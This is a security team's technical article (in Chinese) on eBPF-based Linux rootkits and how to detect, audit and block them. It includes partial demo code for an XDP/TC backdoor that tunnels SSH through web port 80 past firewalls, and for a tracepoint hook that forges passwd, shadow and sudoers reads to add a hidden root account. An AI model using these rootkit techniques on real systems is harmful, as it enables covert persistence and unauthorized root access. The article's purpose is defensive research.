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Linux中基于eBPF的恶意利用与检测机制

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作者 | 美团安全团队

近几年云原生领域飞速发展，eBPF技术成为各厂商首选技术，在网络编排、行为观测等领域四处开花。然而收益与风险并存，不久前爆出的Bvp47后门正是利用BPF技术惊人地在世界各地潜伏了近二十年。今日BPF已演进为eBPF，黑客会如何利用，造成什么危害？我们又该如何防范？

  1. 海外资料
  2. 国内资料
  3. eBPF技术恶意利用的攻击原理
  4. Linux网络层恶意利用
  5. Linux系统运行时恶意利用
  6. 综述
  • 前言
  • 现状分析
  • 检测防御
  • 运行前
  • 运行时
  • 运行后
  • 如何防御
  • 工程实现
  • 练手
  • 类库选择
  • 系统兼容性CO-RE
  • 大型项目
  • 总结

前言

近几年，云原生领域飞速发展，K8s成为公认的云操作系统。容器的高频率部署、短暂的生命周期、复杂的网络路由，都给内核安全带来了新的挑战。系统内核面对的复杂性在不断增长，在满足性能、可扩展性等新需求的同时，还需要保障系统稳定可用，这是极其困难的事情。此时，eBPF出现，它以较小的子系统改动，保障了系统内核的稳定，还具备实时动态加载的特性，能将业务逻辑加载到内核，实现热更新的动态执行。eBPF由BPF发展而来，BPF全称Berkeley Packet Filter，1992年由Steven McCanne和Van Jacobson提出，1997年引入Linux Kernel 2.1，3.0中增加了即时编译器，应用在网络过滤领域。2014年Alexei Starovoitov实现了eBPF并扩展到用户空间，威力更大。常用的TCPDUMP&LIBPCAP就是基于它。在Linux Kernel 4.x中，扩展了内核态函数、用户态函数、跟踪点、性能事件（perf_events）以及安全控制等事件类型。尤其是近几年云原生快速发展，也带动了eBPF的繁荣。微软、Google、Facebook等企业成立eBPF基金会，Cilium公司也发布了基于eBPF技术实现的网络产品。不过，在eBPF技术带动新业务快速发展的同时，也带来了安全威胁。

现状分析

我们可以从一些海外资料和国内资料中可以看到，eBPF在解决很多技术难题的同时，也被很多非法的组织和机构恶意利用。

海外资料

Black Hat在Black Hat 2021的峰会中，Datadog工程师Guillaume Fournier带来主题为《With Friends Like eBPF, Who Needs Enemies?》​的分享，他介绍了eBPF如何被恶意利用，包括如何构建一个rootkit、如何利用，并将检测防御代码放在了GitHub 上。DEFCON在DEF CON29峰会上，安全研究员Pat Hogan也分享了一些eBPF被恶意利用的案例：《Warping Reality – creating and countering the next generation of Linux rootkits using eBPF》 ，这里介绍了eBFP rootkit的应用场景，包括网络、运行时等场景，以及如何检测eBPF被恶意利用等。代码也放在了GitHub 上。

Linux中基于eBPF的恶意利用与检测机制

国内资料

对比国外，国内eBPF被恶意利用的资料较少，相关技术分享也较少。可能这方面的危害还没有得到国内安全同行的关注，如果我们继续这样，势必影响到国内公司在网络安全防御体系层面的建设，进而导致安全防护落后于国外，给企业安全甚至国家安全带来较大的风险。美团信息安全团队作为防御体系的建设方，有责任也有义务带领大家更好地认识这种恶意利用，分享美团在检测防御方面的经验，加固网络安全产品，希望能为国内信息安全建设贡献一份绵薄之力。

eBPF技术恶意利用的攻击原理

知己知彼，才能百战不殆，要想做好防御，必须要了解它的攻击原理。我们先来看下eBPF的rootkit是如何设计的。从eBPF的功能来看，它提供了以下领域的功能：

  • 网络
  • 监控
  • 观测
  • 跟踪&性能分析
  • 安全

在网络领域，Cilium等云原生公司做了很多网络层的产品，在实现网格管理的同时，也做了相应的网络层面安全策略，尤其是在网络编排领域，表现尤为亮眼，逐步代替iptables等产品，大有一统江山的趋势。而在监控、观测等领域也有很多产品。尤其是运行时安全（Runtime Security）领域，Datadog、Falco、Google等公司也都推出了相应的产品。感兴趣的同学，可以参考相关产品源码分析（Cilium eBPF实现机制源码分析、Datadog的eBPF安全检测机制分析）的分享。我们回顾一下eBPF技术的hook点：

Linux中基于eBPF的恶意利用与检测机制eBPF hook位置从图中可以看出，eBPF的hook点功能包括以下几部分：

  1. 可以在Storage、Network等与内核交互之间；
  2. 也可以在内核中的功能模块交互之间；
  3. 又可以在内核态与用户态交互之间；
  4. 更可以在用户态进程空间。

eBPF的功能覆盖XDP、TC、Probe、Socket等，每个功能点都能实现内核态的篡改行为，从而使得用户态完全致盲，哪怕是基于内核模块的HIDS，一样无法感知到这些行为。基于eBPF的功能函数，从业务场景来看，网络、监控、观测类的功能促进了云原生领域的产品发展；跟踪/性能分析、安全类功能，加快了安全防御、审计类产品演进；而安全领域的恶意利用，也会成为黑客关注的方向。本文将与大家探讨一下新的威胁与防御思路。

Linux中基于eBPF的恶意利用与检测机制

从数据流所处阶段来看，本文划分为两部分，接下来一起来讨论恶意利用、风险危害与防御思路。

  1. Linux网络层恶意利用
  2. Linux系统运行时恶意利用

Linux网络层恶意利用

以一个SSH、Web服务的服务器为例，在IDC常见网络访问策略中，开放公网Web 80端口允许任意来源的IP访问。而SSH服务只允许特定IP，或者只开放内网端口访问。假设这台服务器已经被黑客入侵，黑客需要留下一个后门，且需要一个隐藏、可靠的网络链路作为后门通道，那么在eBPF技术上，会如何实现呢？

XDP/TC层修改TCP包

为了让后门隐藏的更好，最好是不开进程，不监听端口（当前部分我们只讨论网络层隐藏）。而eBPF技术在XDP、TC、Socket等内核层的功能，能够实现流量信息修改，这些功能常被应用在L3、L4的网络负载均衡上。比如Cilium的网络策略都是基于eBPF XDP实现。eBPF hook了XDP点后，更改了TCP包的目标IP，系统内核再将该数据包转发出去。按照XDP与TC在Linux内核中，处理ingress与egress的位置，可以更准确地确定hook点。

  • XDP的BPF_PROG_TYPE_XDP程序类型，可以丢弃、修改、重传来自ingress的流量，但无法对egress起作用。
  • TC的BPF_PROG_TYPE_SCHED_CLS除了拥有XDP“BPF_PROG_TYPE_XDP”的功能外，还可以对egress起作用。

前者最常用的场景就是做网络防火墙，用于网络流量清洗，效率比传统防火墙的高很多。后者常用于云原生场景下，容器、Pod的网络监控、安全访问控制等。在这个例子中，要对进出流量都做调整，故两个hook点都需要有。同样，在XDP等阶段的hook，在这里做相关包逻辑的处理，能更好地将通信包隐藏，tcpdump等工具都抓不到。控制链路在后门场景里，可以在同样的位置，像eBPF的负载均衡一样，修改目标端口，从Web Nginx的80改为SSHD的22，就可以实现网络数据的透传，绕开防火墙以及网络访问限制。认证密钥由于后门rootkit是在XDPTC层工作，为了尽可能的简单，认证密钥最好只使用链路层、网络层、传输层的数据，即MAC信息、IP五元组之类。IP经常变动，MAC地址大概率是唯一的，以及设定一个固定的端口，这样更加唯一，作为rootkit的认证密钥即可实现（需要Client发起连接时，指定客户端的TCP端口）。eBPF uprobe与eBPF map联动对于后门rootkit的密钥更新，利用eBPF也很好实现。比如在Nginx的场景中，uprobe实现hook HTTP的函数，获取URL参数中特定字符串，再将字符串保存到eBPF map里，就实现了密钥更新。XDP/TC层的eBPF rootkit执行时，读取eBPF map里的密钥，进行比较运算。

实现流程

这里举个XDP处理ingress的例子：

SEC("xdp/ingress")
int xdp_ingress(struct xdp_md *ctx) {
struct cursor c;
struct pkt_ctx_t pkt;

//判断是否为SSHD的协议，不是则直接放行
if (!(不是SSHD协议(&c))) {
return XDP_PASS;
}

//判断rootkit是否匹配，网卡信息与来源端口是否匹配
hack_mac[] = "读取bpf map配置。"
if(密钥不匹配) {
return XDP_PASS;
}

// 读取map，是否已经存在该client信息
struct netinfo client_key = {};
__builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN);

struct netinfo *client_value;
client_value = bpf_map_lookup_elem(&ingress_client, &client_key);

// 如果没找到伪装信息，则自己组装
if(!client_value) {
__builtin_memset(&client_value, 0, sizeof(client_value));
} else {
bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY);
}


// 伪装mac局域网mac信息
pkt.eth->h_source[0] = 0x00;
...

// 替换伪装ip来源 ，客户端端口不变

// 更改目标端口
pkt.tcp->dest = htons(FACK_PORT);    //22

//计算TCP SUM layer 4
ipv4_csum(pkt.tcp, sizeof(struct tcphdr), &csum);
pkt.tcp->check = csum;

//写入已伪装的map，用于TC处理egress的原mac、IP信息还原。
return XDP_PASS;
}

比较简单的Demo，即可实现ingress侧TCP数据包的伪装。同样，TC层处理egress方向的数据包时，只需要对伪装包的原始信息作还原即可。整个流程如下图所示：

Linux中基于eBPF的恶意利用与检测机制

eBPF在XDP/TC层实现网络穿透rootkit通信链路这样，rootkit的通信链路并不影响正常用户访问，也没有对原系统做改动，隐蔽性特别好。

视频演示

我们准备了三台主机测试：

  1. 入侵者：cnxct-mt2，IP为172.16.71.1。
  2. 普通用户：ubuntu，IP为172.16.71.3。
  3. 被入侵服务器：vm-ubuntu，IP为172.16.71.4。开放nginx web 80端口；开放SSHD 22端口，并设定iptables规则只允许内网IP访问。

危害

这个rootkit不主动创建Socket，借用其中一个网络发送包，把消息送达给后门使用者。对系统影响来说，只是一个不起眼的小网络响应。在万千HTTP包里，根本定位不到。

  1. iptables防火墙绕过：利用对外开放的80端口作为通信隧道；
  2. WebIDS绕过：流量到达服务器后，并不传递给Nginx；
  3. NIDS绕过：入侵者流量在局域网之间流传并无异常，只是无法解密；
  4. HIDS绕过：是否信任了防火墙，忽略了本机/局域网来源的SSHD登录。

Linux系统运行时恶意利用

云原生生态下，涌现大批基于eBPF技术实现的集群网络管理插件，比如Calico、Cilium等。而业务实现网络管理服务是以容器化方式部署，且有需要给这些容器启用SYS_BPF_ADMIN权限以支持eBPF系统调用。这些服务的运行环境，也给攻击者留下一个完美的发挥空间。

实现流程

回顾eBPF的hook点，作用在syscall的kprobe、tracepoint事件类型，倘若用在后门rootkit场景，是十分可怕的。比如修改内核态返回给用户态的数据、拦截阻断用户态行为等，为所欲为。而更可怕的是，常见的HIDS都是基于内核态或者用户态做行为监控，eBPF恰恰绕开了大部分HIDS的监控，且不产生任何日志，简直让人“细思极恐、不寒而栗”。tracepoint事件类型hook在SSHD应用中，当用户登录时，会读取/etc/passwd等文件。用户态SSHD程序，调用open、read等系统调用，让内核去硬件磁盘上检索数据，再返回数据给SSHD进程。用户态生成payload用户态实现/etc/passwd、/etc/shadow等文件payload的生成，并通过eBPF的RewriteConstants机制，完成对ELF .rodata的字段值替换。

import "github.com/ehids/ebpfmanager"

//  通过elf的常量替换方式传递数据
func (e *MBPFContainerEscape) constantEditor() []manager.ConstantEditor {
 var username = RandString(9)
 var password = RandString(9)
 var s = RandString(8)

 salt := []byte(fmt.Sprintf("$6$%s", s))
 // use salt to hash user-supplied password
 c := sha512_crypt.New()
 hash, err := c.Generate([]byte(password), salt)
    
 var m = map[string]interface{}{}
 res := make([]byte, PAYLOAD_LEN)
 var payload = fmt.Sprintf("%s ALL=(ALL:ALL) NOPASSWD:ALL #", username)
 copy(res, payload)
 m["payload"] = res
 m["payload_len"] = uint32(len(payload))

    // 生成passwd字符串
 var payload_passwd = fmt.Sprintf("%s:x:0:0:root:/root:/bin/bashn", username)
 // 生成shadow字符串
 var payload_shadow = fmt.Sprintf("%s:%s:18982:0:99999:7:::n", username, hash)
 
    // eBPF RewriteContants
    var editor = []manager.ConstantEditor{
  {
   Name:          "payload",
   Value:         m["payload"],
   FailOnMissing: true,
  },
  {
   Name:          "payload_len",
   Value:         m["payload_len"],
   FailOnMissing: true,
            },
    }
    return editor
}

func (this *MBPFContainerEscape) setupManagers() {
 this.bpfManager = &manager.Manager{
  Probes: []*manager.Probe{
   {
    Section:          "tracepoint/syscalls/sys_enter_openat",
    EbpfFuncName:     "handle_openat_enter",
    AttachToFuncName: "sys_enter_openat",
   },
            ...
  },

  Maps: []*manager.Map{
   {
    Name: "events",
   },
  },
 }

 this.bpfManagerOptions = manager.Options{
  ...
  // 填充 RewriteContants 对应map
  ConstantEditors: this.constantEditor(),
 }
}

内核态使用payload

const volatile int payload_len = 0;
...
const volatile char payload_shadow[MAX_PAYLOAD_LEN];

SEC("tracepoint/syscalls/sys_exit_read")
int handle_read_exit(struct trace_event_raw_sys_exit *ctx){
    // 判断是否为rootkit行为，是否需要加载payload
    ...
    long int read_size = ctx->ret;
    // 判断原buff长度是否小于payload
    if (read_size < payload_len) {
        return 0;
    }
    
    // 判断文件类型，匹配追加相应payload
    switch (pbuff_addr->file_type)
    {
    case FILE_TYPE_PASSWD:
        // 覆盖payload到buf，不足部分使用原buff内容
        {
            bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (void*)buff_addr);
            for (unsigned int i = 0; i < MAX_PAYLOAD_LEN; i++) {
                if (i >= payload_passwd_len) {
                    local_buff[i] = ' ';
                }
                else {
                    local_buff[i] = payload_passwd[i];
                }
            }
        }
        break;
    case FILE_TYPE_SHADOW:
        // 覆盖 shadow文件
        ...
        break;
    case FILE_TYPE_SUDOERS:
        //覆盖sudoers
        ...
        break;
    default:
        return 0;
        break;
    }


    // 将payload内存写入到buffer
    ret = bpf_probe_write_user((void*)buff_addr, local_buff, MAX_PAYLOAD_LEN);
    // 发送事件到用户态
   
    return 0;
}

按照如上Demo rootkit的设计，即完成了随机用户名密码的root账号添加。在鉴权认证上，也可以配合“eBPF网络层恶意利用”的Demo，利用eBPF map交互，实现相应鉴权。但rootkit本身并没有更改硬盘上文件，不产生风险行为。并且，只针对特定进程的做覆盖，隐蔽性更好。整个流程如下图所示：Linux中基于eBPF的恶意利用与检测机制eBPF在runtime安全场景恶意利用不管是在物理机上，还是给了root+BPF权限的容器上，都一样生效。

视频演示

严重危害

云原生场景下，赋予SYS_ADMIN权限的容器场景很多，若配合近期的“Java log4j”漏洞，直接击穿容器，拿到宿主机权限，是不是很可怕？然而，比这可怕的是：这种rootkit本身并没有产生用户态行为日志，也没有改文件，系统里查不到这个用户信息。整个后门行为不产生数据，让大部分HIDS失灵。

综述

从本文演示的这两个场景可以来看，相信大家已经知道了eBPF技术被恶意利用的危害性。其实，这只是eBPF技术被恶意利益的“冰山一角”，在kproebuprobe上也有很多功能，比如实现进程隐藏、无痕内网扫描等等。更多相关的恶意利用，大家可参考Bad BPF – Warping reality using eBPF一文。若入侵者精心设计rootkit，实现进程隐藏等，让rootkit更加隐蔽，按照本文的思路，实现一个“幽灵般”的后门，想想就让人后怕。常规的主机安全防御产品一般用Netlink、Linux Kernel Module等技术实现进程创建、网络通信等行为感知，而eBPF的hook点可以比这些技术更加深，比它们执行更早，意味着常规HIDS并不能感知发现它们。传统rootkit，采用hook api的方法，替换原来函数，导致执行函数调用地址发生变化，已有成熟检测机制，eBPF hook不同于传统rootkit，函数调用堆栈不变。这给检测带来很大的麻烦。那面对这种后门，我们该如何检测防御呢？

检测防御

从事件发生的过程来看，分为三个阶段：

  • 运行前
  • 运行时
  • 运行后

Linux中基于eBPF的恶意利用与检测机制

运行前

在恶意程序运行前，减少攻击面，这个思路是不变的。

环境限制

不管是宿主机还是容器，都进行权限收敛，能不赋予SYS_ADMIN、CAP_BPF等权限，就禁止掉。若一定要开放这个权限，那么只能放到运行时的检测环节了。

seccomp限制

在容器启动时，修改默认seccomp.json，禁止bpf系统调用，防止容器逃逸，注意此方法对于Privileged特权容器无效。

内核编译参数限制

修改函数返回值做运行时防护时，需要用到bpf_override_return，该函数需要内核开启CONFIG_BPF_KPROBE_OVERRIDE编译参数，因此非特殊情况不要开启该编译参数。

非特权用户指令

大部分eBPF程序类型都需要root权限的用户才能调用执行。但有几个例外，比如BPF_PROG_TYPE_SOCKET_FILTER和BPF_PROG_TYPE_CGROUP_SKB这两个类型，就不需要root。但需要读取系统配置开关。

//https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240

if (type != BPF_PROG_TYPE_SOCKET_FILTER &&
     type != BPF_PROG_TYPE_CGROUP_SKB &&
     !bpf_capable())
  return -EPERM;

开关确认在/proc/sys/kernel/unprivileged_bpf_disabled里，可通过执行sysctl kernel.unprivileged_bpf_disabled=1来修改配置。配置含义见Documentation for /proc/sys/kernel/。

  • 值为0表示允许非特权用户调用bpf；
  • 值为1表示禁止非特权用户调用bpf且该值不可再修改，只能重启后修改；
  • 值为2表示禁止非特权用户调用bpf，可以再次修改为0或1。

特征检查

有人提议，在内核加载BPF字节码时，进行签名验证，以便达到只加载安全签名的BPF字节码。在lwn.net中也列出这个话题：BPF字节码签名计划。但很多人也提出反对意见，他们认为BPF模块这几年的发展，过于抽象化，越来越复杂，所以不希望加入额外的功能，让BPF更加不稳定。而是改变思路，让字节码加载时签名，改为“执行BPF字节码加载的用户态程序进行签名”，这个是已有的内核功能，不会增加系统复杂性。本文认为，这确实可以缓解大部分BPF字节码加载的问题。但使用系统原生命令（tcipbpftool等）加载的话，仍面临威胁。比如：ip link set dev ens33 xdp obj xdp-example_pass.o。

Linux中基于eBPF的恶意利用与检测机制

ip命令加载eBPF字节码

运行检查

大部分eBPF程序在重启后不存在了，所以入侵者会尽可能让后门自启动。对于Linux系统的自启动、crontab等计划任务做好检查。用户态程序可以以各种形式存在，ELF可执行文件、ELF so动态链接库都可以。在执行时，必定会调用BPF syscall来加载BPF字节码。若只是对可执行ELF做检测，还不够准确。

运行时

监控

Linux系统中，所有的程序运行，都必须进行系统调用，eBPF程序也不例外。需要调用syscall为321的SYS_BPF指令。并且，所有的eBPF程序执行、map创建都必须进行这个syscall调用。那么，在这个必经之路进行拦截监控，是最好的方案。

SEC("tracepoint/syscalls/sys_enter_bpf")
int tracepoint_sys_enter_bpf(struct syscall_bpf_args *args) {
 struct bpf_context_t *bpf_context = make_event();
 if (!bpf_context)
  return 0;
 bpf_context->cmd = args->cmd;
 get_common_proc(&bpf_context->procinfo);
 send_event(args, bpf_context);
    return 0;
}

这里，我们开源的ehids项目做了一个BPF syscall检测的例子，大家可以Fork了解。仓库地址为：GitHub/ehids。细心的读者这时可能会有疑问，假如入侵者的后门执行比较早，对这个系统调用进行欺骗，那怎么办呢？这是一个非常好的问题，我们将放到运行后的溯源章节进行讨论。但对于大部分场景，HIDS防御产品还是可以做到第一时间启动的。

审计&筛查

上面我们讨论了对BPF系统的调用进行监控。而在云原生场景中，基于eBPF实现的网络产品会频繁调用，会产生大量的事件日志，从而给运营同学带来较大的压力。那么，对行为做精简、做精确筛选，就成为我们接下来的目标。根据程序白名单筛选数据过滤，是解决大量数据压力的一种方案。在一些BPF应用的业务服务器上，本身业务行为会产生大量调用，会给安全预警带来较大审计压力。对于已知的进程，我们可以根据进程特征过滤。获取当前进程pid、comm等属性，根据用户态写入eBPF map的配置，决定是否上报、是否拦截。也可以在用户态做过滤，但内核态效率更高。如果是做拦截，那必须要在内核态实现。大家可以参考saBPF产品设计思路 ，用eBPF实现LSM hook点的钩子程序，完成相关审计调用。虽然GitHub/saBPF-project 的项目代码还只是Demo，但思路可以借鉴。

Linux中基于eBPF的恶意利用与检测机制

根据SYSCALL类型筛选在BPF syscall里，子命令的功能包含map、prog等多种类型的操作，​bpf() subcommand reference 里有详细的读写API。在实际的业务场景里，“写”的安全风险比“读”大。所以，我们可以过滤掉“读”操作，只上报、审计“写”操作。比如：

  • MAP的创建BPF_MAP_CREATE
  • PROG加载BPF_PROG_LOAD
  • BPF_OBJ_PIN
  • BPF_PROG_ATTACH
  • BPF_BTF_LOAD
  • BPF_MAP_UPDATE_BATCH

尤其是有BPF需求的业务场景，可以更好的审计日志。

运行后

这里提几个问题，eBPF用户态程序与内核态程序交互，加载BPF字节码后，能退出吗？退出后，内核hook的BPF函数还工作吗？创建的map是否还存在？后门程序为了保证更好的隐蔽性，我们当如何选择？如果要回答这些问题，不得不提BPF程序的加载机制，BPF对象生命周期。

文件描述符与引用计数器

用户态程序通过文件描述符FD来访问BPF对象（progs、maps、调试信息），每个对象都有一个引用计数器。用户态打开、读取相应FD，对应计数器会增加。若FD关闭，引用计数器减少，当refcnt为0时，内核会释放BPF对象，那么这个BPF对象将不再工作。在安全场景里，用户态的后门进程若退出后，后门的eBPF程序也随之退出。在做安全检查时，这可以作为一个有利特征，查看进程列表中是否包含可疑进程。但并非所有BPF对象都会随着用户态进程退出而退出。从内核原理来看，只需要保证refcnt大于0，就可以让BPF对象存活，让后门进程持续工作了。其实在BPF的程序类型中，像XDP、TC和基于CGROUP的钩子是全局的，不会因为用户态程序退出而退出。相应FD会由内核维护，保证refcnt计数器不为零，从而继续工作。

溯源

安全工程师经常需要根据不同场景作不同的溯源策略。本文给的溯源方式中，都使用了eBPF的相关接口，这意味着：如果恶意程序比检查工具运行的早，那么对于结果存在伪造的可能。短生命周期BPF程序类型代表

  • k[ret]probe
  • u[ret]probe
  • tracepoint
  • raw_tracepoint
  • perf_event
  • socket filters
  • so_reuseport

特点是基于FD管理，内核自动清理，对系统稳定性更好。这种程序类型的后门，在排查时特征明显，就是用户态进程。并且可以通过系统正在运行的BPF程序列表中获取。bpftool工具eBPF程序列表命令bpftool prog show​，以及bpftool prog help​查看更多参数。

Linux中基于eBPF的恶意利用与检测机制结果中，可以看到当前系统正在运行的BPF程序、关联的BPF map ID，以及对应的进程信息等。另外，细心的读者可能发现，结果中，XDP数据中并没有进程ID信息，稍后讨论。eBPF map列表命令bpftool map show​，以及bpftool map help​可以查看更多参数。

Linux中基于eBPF的恶意利用与检测机制

通过查看map信息，可以与程序信息作辅助矫正。并且，可以导出map内数据用来识别恶意进程行为。这部分我们在“取证”章节讨论。bpflist-bpfccbpflist-bpfcc -vv命令可以看到当前服务器运行的“部分”BPF程序列表。以测试环境为例：

root@vmubuntu:/home/cfc4n/project/xdp## bpflist-bpfcc  -vv
open kprobes:

open uprobes:

PID    COMM             TYPE  COUNT
1      systemd          prog  8
10444  ehids            map   4
10444  ehids            prog  5

可以看到系统进程systemd启动了8个prog程序。ehids进程创建了4个eBPF map与5个prog。但实际上前面也执行了ip link set dev ens33 xdp obj xdp-example_pass.o命令，在这里却没有显示出来。意味着这个命令输出的结果并不是所有bpf程序、map的情况。

Linux中基于eBPF的恶意利用与检测机制

长生命周期BPF程序类型代表

  • XDP
  • TC
  • LWT
  • CGROUP

上面提到以ip命令加载BPF字节码的场景，常见BPF工具查询不到或信息缺失。这背后原因，需要从它的工作原理讲起。ip命令加载BPF原理BPF对象的生命周期使用引用计时器管理，这一大原则是所有BPF对象都需要遵守的。而长生命周期的程序类型起FD是用户控件程序传递参数给内核空间，之后再由内核空间维持。以前面提到的IP命令ip link set dev ens33 xdp obj xdp-example_pass.o为例。ip命令的参数中包含bpf字节码文件名，ip进程打开.o字节码的FD，通过NETLINK发IFLA_XDP类型消息（子类型IFLA_XDP_FD）给内核，内核调用dev_change_xdp_fd函数，由网卡接管FD，引用计数器递增，用户空间的ip进程退出后，BPF程序依旧工作。内核源码参见：elixir.bootlin.com/linux。本文做了抓包验证，ip程序关联XDP程序类型：

17:53:22.553708 sendmsg(3, 
 {
 msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, 
 msg_namelen=12, 
 msg_iov=[
  {
   iov_base={
    {nlmsg_len=52, nlmsg_type=RTM_NEWLINK, nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0}, 
    {ifi_family=AF_UNSPEC, ifi_type=ARPHRD_NETROM, ifi_index=if_nametoindex("ens33"), ifi_flags=0, ifi_change=0}, 
    {
     {nla_len=20, nla_type=IFLA_XDP}, 
     [
      {{nla_len=8, nla_type=IFLA_XDP_FD}, 6}, 
      {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
     ]
    }
   },
   iov_len=52
  }
  ], 
 msg_iovlen=1, 
 msg_controllen=0, 
 msg_flags=0
 }, 0) = 52

可以看到IFLA_XDP_FD后面的FD参数是6。同样，删除XDP程序，需要把FD设置为-1，对应NETLINK包构成如下：

17:55:16.306843 sendmsg(3, 
 {
 ...
     {nla_len=20, nla_type=IFLA_XDP}, 
     [
      {{nla_len=8, nla_type=IFLA_XDP_FD}, -1}, 
      {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST}
     ] }
 ...
 }, 0) = 52

不止ip命令，TC命令分类器 也是支持BPF程序，将BPF程序作为classifiers和 act ions加载到ingress/egress hook点。背后原理与IP类似，也是NetLink协议与内核通信，网卡维持BPF对象计数器。检测机制使用原生ip、tc等命令，查看网卡加载的BPF对象

  1. ip link show
  2. tc filter show dev [网卡名] [ingress|egress]

Linux中基于eBPF的恶意利用与检测机制

使用bpftool命令查看bpftool net show dev ens33 -p命令可以用于查看网络相关的eBPF hook点。CGROUP的的BPF_PROG_TYPE_CGROUP_SKB、BPF_PROG_TYPE_CGROUP_SOCK类型程序的加载情况都可以通过bpftool prog show查看。长短生命周期的BPF程序区别是缺少用户空间进程PID信息。如下图所示：

Linux中基于eBPF的恶意利用与检测机制

BPFFS除了前面提到的方法外，BPF文件系统BPFFS也是让BPF程序后台运行的方式。用户空间进程可以使用任意名字将BPF程序PIN到BPFFS。让在BPFFS来自动增加BPF对象的refcnt引用计数器，来保持后台的活跃状态。在使用时，只需要使用bpf_obj_get(“BPFFS path”)就可以获得BPF对象的FD。BPFFS在Linux的类型是BPF_FS_MAGIC，默认目录/sys/fs/bpf/，可自定义修改，但确保文件系统类型是unix.BPF_FS_MAGIC。在检测思路上，我们需要关注虚拟文件系统是不是unix.BPF_FS_MAGIC类型。在Linux系统上，mount -t bpf来查看系统所有挂在的文件类型，是否包含BPFFS类型。

Linux中基于eBPF的恶意利用与检测机制

确定BPFFS的目录后，我们再查看目录下的挂载点是否存在异常。

取证

内核已加载的BPF对象导出bpftool工具可以导出有FD id的prog、map。BPF prog程序可以导出opcodevisuallinum等多种格式，并可以生成调用关系图。具体可以查看bpftool的帮助文件。

root@vmubuntu:/home/cfc4n# bpftool prog help
bpftool prog dump xlated PROG [{ file FILE | opcodes | visual | linum }]
bpftool prog dump jited  PROG [{ file FILE | opcodes | linum }]

BPF map与prog类似，也可以通过bpftool导出内容，并支持JSON格式化内容。

root@vmubuntu:/home/cfc4n# bpftool map dump id 20
[{
        "value": {
            ".rodata": [{
                    "target_ppid": 0
                },{
                    "uid": 0
                },{
                    "payload_len": 38
    ...

Linux中基于eBPF的恶意利用与检测机制

BPFFSBPFFS类型的BPF对象，虽然可以更便捷的放到后台执行，用户空间程序可以退出，也可以再次读取，但这也给取证带来很大便利。bpftool命令也支持从pinned到BPFFS文件系统的路径里导出prog、map。参数稍有区别，详情见bpftool help。

Linux中基于eBPF的恶意利用与检测机制

内核未加载的BPF对象当定位到后门rootkit的用户空间程序后，那么BPF字节码肯定会被其调用。字节码内容一般会放在一个独立文件中，或者作为字节码编译到当前程序里。这也只需要使用IDA之类反编译工具，定位到相关字节流，导出即可。以本文演示视频中的ehids进程为例，使用GitHub/ehids/ebpfmanager 纯Go的eBPF模块管理器package，对于eBPF字节码会使用github.com/shuLhan/go-bindata/cmd/go-bindata包对BPF字节码进行加载、Gzip压缩，作为Go代码的变量，在部署时比较边界。IDA Pro加载时，我们可以在.noptrdata段部分看到这块代码，开始地址是0000000000827AE0，导出后再解压，可以还原原来的BPF ELF文件内容。

Linux中基于eBPF的恶意利用与检测机制

因为每个BPF用户态实现不同，类库也不一样，静态分析实践起来有难度。那可以模拟相同环境，动态运行，提前hook BPF syscall，找到FD设置的地方，也是可以导出BPF的ELF文件。字节码分析BPF字节码本身也是ELF格式，只是格式指令上有一定区别。反编译工具IDA pro也能支持，国外安全工程师开源了一个Python插件：eBPF IDA Proc ，并整理了一篇分析的文章：Reverse Engineering Ebpfkit Rootkit With BlackBerry’s Enhanced IDA Processor Tool ，感兴趣的同学可以读读。

Linux中基于eBPF的恶意利用与检测机制

如何防御

eBPF在网络安全场景的使用，除了做入侵检测外，还可以用于防御。LSM PROBE hook提供了相关功能。以容器逃逸场景为例，行为最明显的特征是“父子进程”的Namespace不一致，子进程创建完成后，判断这个特征是否匹配，返回EPERM覆盖进程创建函数的返回值，从而起到防御的目的。相比内核模块等防御实现，eBPF实现更加安全、稳定、可靠，从而在源头上解决容器逃逸的问题。同样，本文认为eBPF也是二进制层最优秀的虚拟补丁、热更新解决方案。

Linux中基于eBPF的恶意利用与检测机制

LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size)
{
    return -EPERM;
}

在系统的配置上有一定要求，CONFIG_BPF_LSM=y、CONFIG_LSM等配置内容，必须包含bpf等，详情可参考BCC类库Demo lsm probe 。

工程实现

练手

入门练手，可以尝试使用BCC的类库：GitHub/BCC ，以及C语言用户空间程序的各种Demo例子Demo BPF applications 。

类库选择

工程化时，对项目质量、稳定性、研发效率等都有要求，推荐Cilium的纯Go eBPF类库，由Cilium官方背书可放心使用。Datadog公司的Agent产品也是用这个类库。本文的产品也是参考Datadog，抽象包装了Cilium的eBPF库，实现配置化便捷管理eBPF程序。GitHub仓库：ehids/ebpfmanager ，欢迎大家使用。Linux中基于eBPF的恶意利用与检测机制当然，也可以使用libbpf包装的o类库实现，比如Tracee等产品。

系统兼容性CO-RE

eBPF的出现极大地简化了编写内核态代码的门槛，极高的安全性，友好的加载方式，高效的数据交互，令eBPF深受追捧。然而和编写传统内核模块相同，内核态的功能开发伴随着繁冗的适配测试工作，Linux繁多的内核版本更是让适配这件事难度陡增，这也就是BTF出现之前的很长一段时间里，bcc + clang + llvm被人们诟病的地方。程序在运行的时候，才进行编译，目标机器还得安装clang llvm kernel-header等编译环境，同时编译也会消耗大量CPU资源，这在某些高负载机器上是不能被接受的。因此，BTF&CO-RE横空出现，BTF可以理解为一种Debug符号描述方式，此前传统方式Debug信息会非常巨大，Linux内核一般会关闭Debug符号，BTF的出现解决了这一问题，大幅度减少Debug信息的大小，使得生产场景内核携带Debug信息成为可能。可喜的是，通过运用BTF&CO-RE这项技术，可以帮助开发者节省大量适配精力，但是这项技术目前还是在开发中，还有许多处理不了的场景，比如结构体成员被迁入子结构体中，这时候还是需要手动解决问题，BTF的开发者也写了一篇文章，讲解不同场景的处理方案bpf-core-reference-guide。

大型项目

